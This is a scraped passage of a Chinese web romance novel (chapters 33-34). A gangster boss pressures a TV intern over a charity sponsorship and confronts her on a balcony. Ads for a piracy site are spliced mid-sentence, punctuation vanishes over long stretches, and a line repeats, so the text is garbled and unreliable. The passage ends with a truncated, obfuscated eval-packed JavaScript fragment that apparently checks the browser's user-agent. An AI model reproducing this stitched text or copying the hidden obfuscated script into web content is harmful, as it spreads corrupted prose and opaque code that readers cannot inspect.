“不是要请我吃猫爪蛋糕。周清南懒洋洋地支了支下巴,“是不是放在袋子。 “哦,对。程菲连忙将手里的袋子举高,从里头取出一个独立包装的小蛋糕,给周清南递过去,说,“这就是我做的猫爪蛋糕,给你。 周清南伸手接过,见这蛋糕果然糕如其名,是只小猫爪子的形状,整体呈蜂蜜色,蓬松柔软,小小一个,被装进了一个印着草莓熊的透明食品包装袋。 瞧着很精美,跟甜品店里标价售卖的没两样。 周清南捏着蛋糕打量两眼,接着又掀高眼皮子瞅她:“就一个? 程菲呆住。 周清南没说话,瞥眼她那个看起来沉甸甸鼓囊囊的小袋子。 程菲明白过来了——这位大佬这是嫌她给蛋糕给得太少。 她不禁有点好笑,回他道:“只是给你一个先尝尝,万一不合你口味呢。 周清南没再说什么,动手拆开包装,咬一口,缓慢咀嚼。 看着他吃下一口蛋糕,程菲莫名便紧张起来。 她认真观察着他薄润的唇,观察他咀嚼蛋糕时腮帮的每一次蠕动,忽地出声,试探性地轻问:“怎么样,你觉得好吃吗? 周清南点头:“好吃。 得到大佬的肯定,程菲心里的紧张感霎时一扫而空,继而便生出一种自得与喜悦。 她嘴角往上弯了弯,说:“我做甜品的手艺很好的,尝过的人都说我可以去开甜品店。 姑娘说话的口吻带着一点儿洋洋得意的小傲娇,听得周清南忍俊不禁。 他低眸继续吃蛋糕,没有搭腔。 程菲在旁边津津有味看他吃,等他把第一个猫爪蛋糕吃完, 她又从袋子里一次性取出三个,拿给他。 程菲笑吟吟地说:“喏,我还有五个,再给你三个吧,你自己再吃一个,剩下两个拿回去分给小蝶和陆岩,让他们也尝一尝我的高超手艺。 周清南轻勾嘴角,客气而温和:“好。 分配完猫爪蛋糕,程菲余光不经意扫过周清南跟前的那一摞资料,这才一拍脑门回过神,自言自语道:“差点忘了正事。 说着,她一手拿另一份相同文件,一手拉开周清南旁边的办公椅,一屁股坐下去,看向他,换上公事公办的语气说:“周总先看资料吧,有哪些你觉得有疑问的地方可以提出来,我当面为你解答。 周清南笔直注视着眼前这张小脸,片刻,忽道:“可是我不太想看文件。 “……好吧。程菲只当他是嫌看文字麻烦,点点头,很善解人意地说,“那我念给你听吧。 周清南:“我也不想听你念。 程菲:……? 差不多得了啊,这也不行那也不行,这么难伺候是怎样? 程菲有点子无语,社畜之魂高燃,赋予了她和身旁大佬对视的勇气。 大眼瞪小眼,空气寂静。 周清南就那么直勾勾地盯着程菲看,眸光意味不明。几秒后,看见眼前的小姑娘忽然眯了眯眼睛,接着便伸出一根纤细雪白的食指,朝他轻轻一勾。 凭空多出一根无形的羽,搔过心尖,窜起一股钻进骨头缝里的痒意。 周清南眸微沉,不动声色地滚了下喉,倾身朝她贴近,“嗯? “都说吃人嘴软,周总你吃了我的蛋糕就别为难我,让你看文件你不看,说我念给你你又不听。程菲压低声音在周清南耳畔道,嘀咕说,“能不能别这么难伺候,好端端的,我又没招惹你。 话音落地,周清南不禁挑了下眉,侧眸看她,反问:“没招我? 程菲微微一怔。 不知是不是错觉,那一瞬,她竟觉周清南看她的眼神带着浓烈的侵略性,露骨而又直白。 是狼看猎物的眼神。 周清南一扯唇,意味不明地笑了,问她:“程小姐还想怎么招惹我? 程菲:“……咦? 作者有话要说 大佬:我替我老婆澄清一下,她确实没招惹我,她只是天天变着法疯狂勾引我。 ———— 大佬你冷静点,别把老婆吓跑了【斜眼】 随机100个红包包! 第 33 章 搞告白?(补作话... 第33章搞告白?(补作话 他离她太近,她鼻息之间萦绕的全是他身上冷冽又好闻的味道,整个人像是走进了刚下过一场大雨的森林,被熏得脑子发懵。 心慌意乱之间,程菲脸色更红,下意识往旁边斜仰数公分,将自己和男人的距离拉开。 “周总今天来是为了谈赞助。”程菲强自镇定地说,两只手掌心都湿漉漉的,竭力在暗中平复自己混乱急促的心跳,“我们还是先说正事吧。” 周清南注视着她的眼睛,淡声道:“程小姐真的以为,我来这里是为了你们那个新栏目?” 噗通,噗通。 程菲心尖蓦地一颤,十根手指也不由自主地收紧,指甲盖滑过文件夹的磨砂封皮,发出一阵细微的“刷”声。 她心跳已然如雷,轻咽了下喉,表面上还是那副没事人的姿态,哦了一声,问他:“那不然周总今天跑过来是为了什么?” 周清南语气很冷静:“当然是为了你。” 程菲:“……” 等会儿。为了她? 难不成这位大佬真的对她有意思?他这样心急火燎杀到她们演播大厦来,莫非是醉翁之意不在酒,搞赞助是假,搞告白是真? 程菲本来还能强行稳住心神认真跟他谈公事,不料周大佬这句话一出口,她就彻底绷不住了,所有心理建设秒秒钟坍塌,塌得稀碎稀碎。 程菲又惊又窘,终于涨红了一张脸瞪大眼睛看他,低斥:“周清南,你知道自己在说什么吗,这里是我上班的单位是我工作的地方,这种话……”说到这里,她音量不自觉压低几分,抬手捋捋耳发,不好意思极了,“这种话你就算实在忍不住,也不能在这里说呀。” 周清南:“……” 周清南忽然很无语。 周清南将小姑娘那满面的羞态收入眼底,静默了整整两秒钟,才深吸一口气吐出来,又道:“昨晚上我跟你说的话,你到底有没有记清楚?” 程菲闻声,懵了懵,一时间没回过神来:“你昨晚跟我说了那么多话,是想问哪一句?” 周清南眼底的光骤然微寒,沉声道:“我让你离梅景逍远一点。” 程菲有点纳闷儿地皱起眉毛, 心想这话她昨晚就已读已回了呀难道是这位大佬回去睡了一觉又忘掉了? 无奈她只好耐着性子又说:“昨晚我不是跟你说清楚了吗梅景逍是我们这个项目的大甲方最大的意向赞助商他要不要给我们赞助直接决定了我们的新栏目能不能顺利推进。我是负责对接的人怎么离他远一点?” 这个回答明显不是周清南想听的答案。 他闭眼抬指用力摁了下眉心紧接着便眼也不睁地问:“你们的新栏目需要多少资金。” 这个问题倒是把程菲给难住了。她垂眸思索了下说:“目前暂时还没有个准数我们拟定的赞助合同也没有写明。” 周清南面色冷峻不善没有出声。 程菲并未察觉到他的异样还在掰着指头认真计算口中喃喃自语似的说:“上次听徐总监跟梁主任说光是启动资金就至少需要大几百万加上后续的摄制、对各个贫困家庭的帮扶资助包括后面徐总监还想以滨港电视台和赞助者的名义成立救助基金……反正应该很多。” 周清南:“这笔钱我出。” 程菲听完愕然地睁大眼睛说:“你们这一行说实话也挺不容易的今天被刀砍明天被枪击像这种公益类栏目又不赚钱那么多真金白银砸进来就是打水漂你图什么?” “你不用管我怎么想。” “……” “总之你们新栏目所需要的全部资金全部由我来支出。”周清南“唰”一下掀开眼帘看向她 说的域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节)语气淡漠却又强势不容悖逆“要多少我给多少。” 黒帮大佬突发壕疾豪掷千金壕无人性惊得程菲好几秒都没缓过来。 好一会儿她才重新找回发声功能支吾着小声问:“上次在不夜城我看你上面好像还有个领导你突然想搞公益这事儿……问过那位吗。” 什么时候黒帮青年也变得这么有社会责任感? 周清南盯着她沉声:“你别跟我东拉西扯。” 程菲立刻乖乖地闭嘴。 周清南非常平静地说:“我既然敢对你说这句话就一定会替你解决你遇到的所有问题。” “……”程菲闻声愣怔刹那心里莫名便翻起一片异样悸动。 她思考了会儿接 着想到什么又轻叹一口气说道:“周总的好意和决心我都了解了。” “不过早在我们这个项目还只有一个策划案的时候梅氏集团就在跟徐总监接触你和梅景逍梅总是朋友肯定也知道梅氏集团这些年在世界各地做了很多公益也一直都对国家的扶贫事业很上心。” 说到这里程菲似乎有些为难语气变得迟疑“如果是梅氏那边说不赞助了还好要是双方本来都谈得好好的我们这边忽然终止跟梅氏的合作那不是彻底把梅氏集团得罪了?徐总监和我们台长绝对不会同意。” 周清南坐在会议桌旁脸上没有一丝表情周身气场冷冽没有说话 程菲已经隐约看出点什么了。 她悄然端详着身旁大佬的神色片刻忍不住小心翼翼地问道:“你这么不想让梅氏集团赞助我们的栏目到底是为什么?” 周清南说:“这跟你们的栏目没关系。” 程菲迷茫:“那是跟什么有关系?” 周清南盯着她眼神深不见底“跟你。” “……”轻描淡写两个字成功噎到程菲失语。 本以为这人会接着说点什么作为对自己刚才那句答话的补充然而周清南却没有再出声。他只是定定看着她清冷的浅瞳眼神不移几乎要在她绯红的脸蛋上灼出一个窟窿。 大佬不说话旁边的程菲就也不知道说什么了只能硬着头皮木呆呆地与大佬对视。 须臾程菲纤细的指无意识收拢成拳忽然鬼使神差般启唇来了句:“……周清南你记不记得之前你对我说过一句话。” 周清南:“什么话。” 程菲:“那次我去尹华道你说我的很多行为都容易让人产生误会。” 周清南轻微眯了眯眼睛眼神不明没吭声。 程菲齿尖扣住唇瓣沉吟两秒才暗暗做了个深呼吸鼓足勇气继续说:“但是你现在的很多行为岂不是更容易让人误会?” 话音落地屋子内瞬间静下去。 会议室内的气氛变得微妙。 过了不知几秒钟。 周清南瞧着面前的小姑娘忽而嘴角一勾挑起个笑先前眼神里的复杂同深沉也在顷刻间烟消云 散又恢复成他往日里散漫又混不吝的模样。 “是么。” 他浑不在意地说“程小姐误会了什么我看看能不能解释。” “……”程菲无语。 都说男人心海底针这位大佬也太让人捉摸不透了。前一秒还正经八百下一秒立马就没个正形搞得她根本分不清到底哪一面才是真实的他。 就在程菲动了动嘴唇准备回话的时候砰砰一阵敲门声突兀响起。 程菲眸光略微一跳这才如梦初醒般回过神察觉到自己和周清南这会儿的姿势暧昧立马像火箭发射一样嗖的从椅子上弹起来站到旁边。 比起她的失措周清南倒是泰然自若。 他目光依然落在她身上薄唇微启出口的话语却是朝会议室外说的:“哪位。” “周总您好我是梁瀚。”门外传入一个中年男性的嗓音恭敬之中夹杂丝丝不太明显的讨好格外殷切道“昨天晚上吃饭的时候刚见过。” 周清南微不可察地蹙了下眉。 昨晚那场饭局除了本就认识的梅景逍外他的注意力全程都只在程菲身上对其他人的印象几近于无。 梁瀚他不记得。 一旁的程菲暗中观察着周清南见这位大佬低眸不语一副在思索什么的样子猜到什么赶紧将声音压低乖觉提醒:“梁瀚就是梁主任昨天晚上在饭局上本来坐在你旁边后面跟我换了位子。” 听见这话周清南眼底的瞳色凉几分。 想起来了。 那个明里暗里给程菲穿小鞋相当于变相给她灌了一满杯红酒的中年人。 周清南神色阴晴不定静了静说:“进来。” 会议室的大门被人从外面推开一身正装打扮的梁瀚出现在了大门口。 程菲对梁瀚没什么好感余光瞥了眼顿时有点被呛到——梁主任今年已经四十几没逃过中年发福的命运一张圆滚滚的啤酒肚高高隆起将贴身的衬衣撑得快要炸开跟怀胎十月马上就要生了似的。 不忍直视。 程菲默默将目光收回来重新看向端坐在会议桌旁的周清南发现同样是黑西装两相一对比这位大佬简直是沉鱼落雁寒月降世。 就在程菲胡思乱想的当口,梁主任已经颠颠儿进来了。 他手里也抱着厚厚一摞文件资料,进屋之后看都没看程菲,径自便走到周清南对面的座位前,拉开椅子坐下。 “周总,不好意思啊,徐总监刚跟我说您来了,有失远迎。 鹅小说全网首发无弹窗免费阅读qiexs.com?(请来企 鹅小说 看最新章节 完整章节)梁瀚满脸横肉,笑起来所有肉都挤一起,更显得滑稽,“您已经拿到栏目资料了吧? 周清南眉目冷淡,扫了眼桌上那个厚厚的文件夹,似乎对梁瀚的多此一问感到不悦。 梁瀚在职场上摸爬滚打这么多年,也精得很,当即笑呵呵地说:“资料上有的内容我就不跟您赘述了。下周末梅总会跟着我们一起去兰贵县实地考察,不知道周总没有兴趣参与? 周清南顿了下,继而便转过头,看向了透明人般乖乖站在旁边的程菲。 他淡声道:“昨晚听徐总监说,兰贵之行,程助理也会在? 程菲没料到这位大佬会忽然跟自己搭话,愣了下,老老实实地回答:“是的周总。 周清南便做出副了然表情,微微点头。 这时,对面的梁瀚却不爽地皱了下眉,心想:自己再怎么说也是个中层领导,这个周总从他进来到现在,就没拿正眼看过他。现在还直接无视他去问那个小实习生,这都什么事儿啊。 “周总,小程毕竟才刚进台里实习,我对项目的了解比小程多,您有什么疑问,直接问我就行。梁瀚赔着笑脸冲周清南道。 说完,他嫌程菲杵在这里碍事,便扭头给程菲递了个眼色,示意她出去。 程菲当然知道梁主任揣着什么心思。但她这会儿本来心情乱脑子里也乱,不怎么想跟周清南再相处,梁主任这个眼神信号丢出来,反而正合她意。 因此程菲一句话没说,从大佬身后轻手轻脚绕过,准备悄然遁走。 然而走出没几步,听见人周大佬冷不丁又冒出一句话。 “有点儿口渴。周清南说。 程菲和梁主任听见这话,都是一愣。 程菲暗道一声糟糕:刚才她只顾着给这厮投喂蛋糕,居然忘记给他倒喝的了!这下又让梁瀚捉住她一条小辫子…… 果不其然,下一秒梁瀚就拉下脸子数落开:“小程,你怎么做事的。周总是我们的贵客,你连茶都不知道 给周总倒一杯?” “不好意思,周总。”程菲没争辩,闷闷地说,“我这就去给您倒水。” 她说完就要去开门。 “稍等。”周清南又出声。 “……”程菲都快抓狂了,搞不懂这个老大还想怎么折腾自己,心如死灰地回过头去。 “程助理留下继续给我讲资料吧。”周清南勾了勾嘴角,轻描淡写地说,“麻烦梁主任帮我们一人倒一杯咖啡,多谢。” 梁瀚:“……” 程菲:“……???” 不是。大佬别搞我行吧?你让梁主任给你倒咖啡也就算了,我一个小实习生,何德何能? 程菲眼皮突突狂跳,震惊得一时间不知作何反应。 旁边的梁瀚也被周清南这个要求给弄懵了。他僵坐在位子上,犹豫纠结纠结犹豫,好几秒才暗暗咬了下牙,应句“好”,赔笑起身,去茶水间给两人倒咖啡。 咔哒。 会议室的大门开启又关上。 门关紧的瞬间,程菲立马就装不下去了,瞠目结舌瞪着周清南,低声嗔道:“你干什么呀?梁主任是我的上级,你怎么能让他给我倒咖啡!他肯定气死了!” 周清南神色如常:“气死他,总好过让你受委屈。” 程菲倏忽一怔,反应过来什么,所有的郁闷不解都在眨眼间消失。 周清南侧眸看向她,调子一贯的漫不经心,说:“不让这人长点记性,他还以为你背后没人撑腰。” * 没一会儿,梁主任就端着两杯热咖啡重新回到会议室。 他将其中一杯咖啡放到周清南面前,脸上挤出个僵硬的笑,“周总请慢用。”接着瞥眼身旁的程菲,将另一个杯子往桌上一撂,语气明显冷下几分,说,“来,咖啡,喝吧。” 程菲才不想喝猪头梁倒的咖啡。她默了默,只朝梁瀚说了声“谢谢主任”后便继续站在原地,没有动作。 周清南倒是优哉游哉自如得很。端起桌上的咖啡,轻抿一口,接着又拿起配好的小匙,慢条斯理地搅拌。 仪态矜贵松弛而又优雅。 一时间,会议室内安静无声,没有人说话,空间内只有周清 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老大登场,程菲这个被派出来打酱油的小虾米自然也就功成身退。她自觉充当起茶水员,见徐霞曼面前还没有水,便去给徐总倒了杯玫瑰茶过来。 徐霞曼这头正在跟周清南谈,余光瞥见年轻姑娘纤细雪白的腕,想起什么,抬眸看向程菲,说:“对了程菲,你出去给梅总回个消息。” “梅总”二字刚落地,会议室内便再次寂静。 梁瀚微皱眉,心里嫉妒又困惑:让程菲给梅总回消息?什么鬼。 程菲脑门儿上升起一个巨大的问号,满脸茫然:梅总找她了? 周清南垂眸,喝了口咖啡,眼底神色阴郁之中又添一丝戾气。捏住咖啡杯的修长五指,不动声色地收紧,几乎能将白色的杯体给捏得粉碎。 短短半秒光景里,程菲在惊讶疑惑的同时,飞快拿眼风瞄了下一旁的周清南,竟无端感到心虚。 只见大佬脸色淡淡,仿佛对徐霞曼口中那句话并没有什么反应。 她稀里糊涂的,问道:“徐总,刚才梅总找我吗?” “对呀。”徐霞曼很自然地说,“之前梅总找我要你的联系方式,我不是把你的号码发给他了么。他刚才打电话给我,说昨晚给你发了短信,结果一直不见你回复,还以为你出了什么状况。” 梅景逍给她发了短信? 程菲愕然,赶紧从裤 兜里掏出手机打开短信信箱看一眼果然发现一条被她忽视的消息内容是【程助理安全到家了吗】。 “……” 程菲很轻微地皱了下眉虽疑惑但也没有多想很快便低着头出去了。 会议室外的走廊上人来人往有点不方便于是她捏着手机径自来到露天阳台。 新修的办公大楼十分人性化每层楼都有露天阳台阳台上摆着遮阳伞和躺椅供大厦内的员工透气休憩。 程菲弯腰在躺椅上坐下。 看着收件箱里的陌生号码她想了想很快便切换到微信APP将号码复制粘贴点下搜索键。 很快便弹出来一个名片。 对方的昵称叫“DanielMEI”应该是梅景逍在国外生活时使用的名字头像是一只大眼睛大耳朵的孟加拉豹猫照片威猛又不失可爱。 程菲平时不喜欢用短信息和人联络想着既然后面还要和这位小少爷组团去兰贵那干脆加个微信好友好了发文件发定位什么的沟通起来更加便捷。 她脑海中回想起那名干净清秀而又温文尔雅的美少年。 老实说程菲对梅景逍的印象还不错富家子弟她也见过一些像梅家小少爷这样气质纯净的 沉吟两秒后她点下了“添加对方为好友”。 不多时对方便同意。 程菲想起徐霞曼的叮嘱想了想在输入框里编辑起文字:【抱歉梅总昨天晚上我有点事没注意到您发来的短信息。希望您不要介意。】 输入完读一遍客客气气礼貌友好。 程菲满意将这段文字发了过去。 令她没想到的是仅仅过了几秒钟对面的小少爷便回复了她。 梅景逍:原来是这样。 程菲眸光微微一动顿了下又打字回复:请问梅总昨晚找我是有什么事吗? 梅景逍:没什么要紧事。就是看程助理不像是经常喝酒的人怕你喝了那么大一杯红酒身体会有什么不适想问问你。 “……”看着美少年发来的这段回复程菲不禁有点感动扬扬眉心想:周清南非说人不是什么好东西。 绅士温和又体贴这不挺好的嘛 ? 程菲回复:谢谢梅总关心,我挺好的,没有哪里不舒服。 梅景逍:那就好。 梅景逍:对了,徐总监已经把下周去兰贵县的行程发给我了。我的总助刚才查询过,兰贵县所在的城市好像还没有修机场? 程菲:是的,那边基建相对落后一些,我们可以先乘飞机抵达邻市平南,再转乘大巴车。 梅景逍没有回复。 程菲琢磨了会儿,又发送道:梅总方不方便把您和随行人员的身份证信息发我一份?我统一为你们订购机票。 梅景逍:不用了。我父亲很重视这次的项目,到时候会派专机送我和其他人。 程菲:好的。 梅景逍发出邀请:不如程助理也一起? 程菲当即婉拒:谢谢梅总的好意,我们出差的路费可以报销,就不麻烦您了。 说完去兰贵县城的事,梅景逍又给程菲发来了一张油画,说这是法国一个新生代艺术家的画作,他很欣赏,准备出高价拍下。 程菲本身对艺术并不感兴趣,饭局当晚能说得头头是道,也全仰赖临时做的功课抱的佛脚。但她又不好扫梅家小少爷的兴,只好强打精神东拉西扯地聊。 聊了约莫十来分钟,梅景逍说他马上要开个视频会议,先失陪。 程菲心下一喜,赶紧回复:好的好的,梅总您忙,我不打扰了。 回复完最后一条消息,程菲赶紧“哒一声将屏幕熄灭,手机往兜里一揣,站起身,准备回办公室。 谁知转身一抬头,视野里猝不及防闯入一副身形,黑西装,大长腿,懒散而又痞气。 周清南高大的身躯斜靠在露台的栏杆上,站姿慵懒,指尖夹一根刚点燃的烟,正没什么表情地瞧着她。 “……程菲被生生吓了跳,下意识往他身后望一眼,狐疑嘀咕,“徐总监呢?你们谈完了? 周清南抽了口烟,从鼻腔里哼出一个字音,就算回她:“嗯。 程菲视线落回他脸上,“你什么时候过来的? “刚来。 两回合的对话结束,程菲就不知道说什么了,有点无所适从地站在原地。 片刻,周清南冷不丁又出声,懒懒地问她:“刚才干嘛呢。 第 34 章 色胚 第34章色胚 气氛骤然紧绷起来。 程菲被周清南捉住手腕拽过去,被他碰到的皮肤瞬间过了阵电般,火星燎原。 她被惊呆了,睁大了眼睛瞪他。咫尺的距离,男人素来冷定的眸色此时锋芒毕露,黯得格外危险,仿佛她是他锁定的猎物,已经羊入虎口,被囚进了他股掌之间。 “你又要干什么?”程菲胸腔里的心脏狂跳不止,耳根面颊的颜色几近血红,一边甩手挣扎,一边慌张地低斥,“放开我!” 这人是不是真有什么精神病。 莫名其妙发疯,还是在她们演播大厦的露天阳台上,这要是被其他遛弯儿路过的同事看见,她就算浑身是嘴也说不清吧! 周清南盯着她,修长有力的指非但不松,反而将她攥得更紧,沉声道:“我最后警告你一次,别把梅家那个四少爷当好人,离他远一点。” 程菲被他的模样吓坏了,半天挣不开,情急之下说话不过脑,飞快地便说道:“你是我们电视台的合作方,梅先生也是我们电视台的合作方,你总是在我面前说梅景逍不是好人,那你自己呢,你难道就是好人?那我是不是也应该远离你?” 话音落地,周围突地便静下去。 只剩微凉的晨风吹拂而过。 在听完程菲的话后,周清南眸光微凝,瞳孔急速收缩了瞬,薄唇抿成紧紧一条线,盯着她,没有出声。 视野中,姑娘小巧的脸蛋涨得通红,目光疑惑交织惊恐,看来确实吓得不轻,以至于胸口起伏不停,呼吸都变得急促而混乱。 刚才一番拼尽全力的挣扎,让她出了不少汗,几粒晶莹的汗珠顺着耳畔滑落,蜿蜒绵延,顺着下巴和脖颈继续往下流淌。 周清南的视线仿佛生出了自主意识,那一瞬间脱离他掌控,顺着其中一滴,游走至她线条优美的脖颈与锁骨。 吻过寸寸奶白色的柔媚皮肤,最终调皮地躲藏,没入那道若隐若现的沟壑…… 短短零点几秒,周清南眸色蓦地转深,脑子里嗡一下。 这个视角太糜艳了。 他本就高出她一个头还多,这样的距离,这样的角度,他在上,她在下,一个低眸,便不费吹灰之力探尽她 的媚态风光。 “……”周清南闭上眼睛侧过头沉沉地呼出一口气似乎在竭力平息什么。 下一秒他五指一松放开了她。 对面的程菲人都还是懵的哪里知道他在经受哪种非人折磨。 就看见这位大佬本来还跟只被烧了尾巴的狮子似的听完自己的话后离奇冷静下去转过头一声不吭还突然就把自己给放开了。 禁锢手腕的有力五指终于松开程菲心口一松赶紧后退几步边揉她那只可怜巴巴的爪子边有点纳闷儿地蹙眉。 怎么了? 瞅瞅大佬这会儿的表情:下颔线紧绷眉心紧拧成一个川字克制隐忍当中好像又透着点儿……受伤? 程菲僵住细细回想了下自己刚才的言论当即一拍脑门儿反应过来什么暗呼不妙。 她刚才说他不是好人自己更应该远离他该不是戳中这位黑老大脆弱敏感的自尊心了吧? “那个……” 程菲平时虽然喜欢以嘴强王者自居但本质上还是挺温和善良的一个小姑娘意识到自己说的话过分又伤人心里瞬间就愧疚起来支吾着找补“你刚才的样子比较吓人所以……惊恐之下口不择言乱说了一些不好的话不是故意的。对不起” 周清南这时已经缓过来了点儿。 他站在原地没有吭声听完程菲的话也没反应只是抬指掐了下眉心。稍下了些力道指节修劲泛白透着股发泄似的狠劲儿。 周清南脑子有点乱。 这么多年他始终孤零零一个走在一条暗无天日又看不到尽头的隧道里值得庆幸的是所有事情按部就班至今没有出现过任何纰漏。 可是令他没想到的是那个他原本再熟系不过的深夜那片他原本再熟系不过的冷风阴戾拉扯呼号咆哮会将一朵洁白柔韧的蝴蝶兰吹回他不见天日的世界。 有时候竟然分不清 说更新,记住域名qiexs.com★(请来企鹅小 说 看最新章节 完整章节)这是老天对他的恩赐垂怜还是对他更彻底的厌弃。 因为一个她他所有计划被全盘打乱。 乱了方寸也乱了心神。 滴水不漏的自制力随时都如临大敌。 其实她说得一点错没有。在这个世上他确实才是她最应该远离的人…… 周清南面上神色与往日无异,却更加发狠地挤摁眉心,垂在身侧的另一只手,紧紧收攥成了拳。 这头的周清南想着事儿,一语不发,那头的程菲将他的神态举动收入眼中,以为他是真生气了,只觉更加惴惴不安。 须臾,她不自在地抠了抠脑袋,心想这人现在也算是她们台的甲方之一了,要是被徐总知道她把这位大佬得罪了,那她岂不是吃不了兜着走? 不成不成。 得想法子让他立马消气才行! 可是这歉也道了,好话也说了,人大佬不接招,她还能有什么辙?怎么办呢…… 程菲绞尽脑汁地琢磨起来。 又过了大约三秒钟,周清南的心湖彻底回归平静,不起一丝涟漪。同时也得出了一个新认知新结论,那就是他必须尽可能减少和这小姑娘单独相处的时间。 这么想着,周清南随手从裤兜里摸出烟盒跟打火机,脸色淡淡正要开口说什么,却不料,一只纤细雪白的小手忽然从旁边伸过来,暗搓搓地、小心翼翼地,捏住了他的西服下摆。 紧随其后,耳畔又响起一道绵软又甜美的嗓音,娇滴滴地唤:“周清南?阿南?南南哥哥? 周清南:“。 周清南没留神,手里那包软中“啪 然后就看见面前的小姑娘微滞了下,乌溜溜的大眼珠子转一圈,很快便弯下腰,替他将烟捡了起来,殷殷切切递回到他手里,漂亮的脸蛋上笑容堆砌,跟朵刚盛开的小向日葵似的。 小向日葵捡完烟,小嘴又叭叭开了,还是那副矫揉造作又甜得发腻的腔调,对他说:“周清南小哥哥,我们两个好歹也见了这么多面了,我还给你送过不少吃的喝的,光是那十斤车厘子就两千块呢,诚意满满。大家就算不是朋友,怎么着,也算是熟人吧? 周清南闻声,思考半秒,继而便微微点了下头,对这一说法表示了认可,“算。 “既然都是熟人,那你肯定就知道,我虽然有时候嘴巴上不饶人,但内心深处是很尊重你的。小向日葵脸上的笑色更浓,阳光灿烂,几乎用上了她这辈子最真诚的眼神,望着他,“我也一直坚信,每个人都有每个人的苦衷和难处,你走上这条不归路,肯定有很多不为人知的原 因。 “……周清南定定瞧着她,挑了下眉,眸光不明。 又见这姑娘说完以上内容后,似乎还怕他不信,又壮着胆子,将那只原本捏着他衣摆的小手往上移,在他肩膀上拍了拍,正色补充,“我理解你。 周清南:“你不用理解。 程菲:“? 程菲明显没料到他会忽然回自己这么一句话,一呆:“不用理解? 周清南:“我混这行没什么特别的理由和苦衷。 “……这是个既在程菲意料之中,又在程菲意料之外的答案。 她微微皱起眉。 之前他帮过她好几次,那些亲身体验过的温柔与好意,让她产生错觉,觉得他虽然身处泥潭沼泽万丈深渊,但是本性良善,走上这条道或许是不得已。 然而周清南现在的这番话,无疑将程菲的这一猜测否认。 她面上笑容僵了僵,一时怔忡,不知该说什么。 周清南直视着她,嘴角散漫那么一勾,眨眼光景,浑身痞气直冲云天。他眼神游移,上下打量她一遭,语气随意地说:“程小姐一看就是在幸福家庭里长大,从小爹亲娘爱没吃过多少苦,所以你永远不会知道,真正的底层是什么样子。 程菲听他这么说,内心莫名一阵震荡,没有接话。 “你想象不出来,有的人从出生起就是个错误,衣不蔽体、食不果腹,吃了上顿没下顿,为了一口饱饭,可以麻木地承受各种白眼和耻笑。周清南背靠上栏杆,懒懒看向脚下的车水马龙与林立高楼,冷漠续道,“人为财死鸟为食亡。只有经历过那样的人生,才会明白权势有多重要。 程菲看着周清南的侧颜,看见金色晨光从云层里透出来,丝丝缕缕,描摹出他英俊而冷硬的轮廓。 忽然一道光线太刺目,她禁不住眯了眯眼睛,光影错位,一瞬恍惚,眼前这张脸竟然与记忆深处的某张面孔重叠…… 程菲愣了下,旋即便回过神来。 沉默片刻,她忽然再次开口,声线不再是之前那种刻意捏出来的矫揉造作,而是轻柔而平缓:“我确实有一对非常爱我的父母,也有很多关心我爱护我的亲人长辈,但是这并不代表着,我离你口中的那种生活就真的有多远。 说到这里,程菲暗自呼出一口气,然后才像鼓起某种勇气般,续道:“在我很小的时候,遇见过一个人。 周清南闻声,顿了下,侧目看她,眸光深不见底。 “他的身世…… 脑海中再次浮现出一抹小小的背影,嶙峋,孤独,阴沉,而又倔强。 程菲弯了弯唇,笑容里难得地掺了丝苦涩,抬眸看周清南,“比你刚才描述的还要可怜许多。 耳畔的风仿佛静止了刹那。 须臾,程菲听见周清南的声音响起,语调如常,嗓音却有点儿哑,淡淡的:“那么久之前的事,程小姐居然还没忘记。 “我也不知道为什么。程菲故作轻松地耸了耸肩,摊手,“就是记得好清楚,他就像刀凿斧刻一样印刻在我的心里,怎么都忘不掉。 耳畔的风仿佛静止了刹那。 不多时,周清南意识到自己必须走了。 他这才移开落在小姑娘脸上的目光,低眸点了根烟,抽一口,直起身,径自朝阳台出口的方向走去。 这边,程菲一见这位大佬要撤了,心里一慌,忙忙追上去,紧张地压低嗓子小声问:“周总,那你现在还在生我气吗? 周清南:“没有。 那就好。程菲悬着的心落回肚子里,静默片刻,又道:“你放心,梅四少对我来说只是一个位高权重的甲方,要怎么应付,我心里自有一杆秤。虽然不知道你的提醒到底是出于什么理由,但我会留心。 然后就站定了,冲那道高大的背影挥挥手:“您慢走,再见。 本以为这尊大佛这就算顺利送走了,不料大佛往前又走出两步后,像是想起什么,冷不丁又顿了步,转过头来。 周清南指尖夹着烟,散漫地说:“对了。 程菲刚松懈下去的神经立刻又崩成一条线:“还有什么事? 他平静地瞧着她,道:“程小姐的娇撒得很好。 程菲:“。 “以后别撒了。 “…… 程菲窘迫又尴尬,干巴巴地咳嗽一声,红着脸碎碎念:“你以为我想捏着嗓子说话,还不是为了向你表示友好。 “我不太习惯你那种状态。 小说的域名qiexs▔(请来企鹅 小说 看最新章节 完整章节)周清南淡淡地说,“以后你好好说 话。” 程菲被这五个字的命令镇住了呆了呆莫名就有点儿委屈不满地嘟囔:“至于这么嫌弃吗。” “不是嫌弃。” 周清南注视着她很冷静地续道:“而是我本身是个下流色胚经不住撩你一撒娇我就受不了。” 程菲:……? 周清南更加冷静地说:“下流色胚受不了就容易对你动手动脚不规矩。听懂了?” 程菲:……??? 程菲心想真是小刀拉屁股开了眼了社会大佬果然是社会大佬狠起来连自己都骂。佩服。 她胡七八糟地思索着两颊的温度本来就高这下更是彻底熟透面红耳赤跟只熟透的小石榴似的。 卡壳了差不多两秒钟终于挤出两个字回大佬话:“好的。” 闻言周清南便不再看程菲转身大步离去。 哪儿还敢跟她再单独待着。 他身体里住着一只野兽遇火即燃焚天灭地根本经不起半分半毫的挑衅与撩拨。 周清南觉得自己陷入了一片沼泽地。每多看她一眼每多与她相处一秒他的身体就会往深渊里陷一寸。 天晓得他究竟有多想要她。 想到无数个深夜梦境里看见的都是关于她的一切。她的影子她的发她的眼她的笑容甚至是她白皙可爱的两枚腿窝。 这个女人他分明朝思暮想魂牵梦萦如今近在咫尺却偏不能触碰分毫…… 走出滨港电视台的演播大厦街道上行人车辆往来不休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 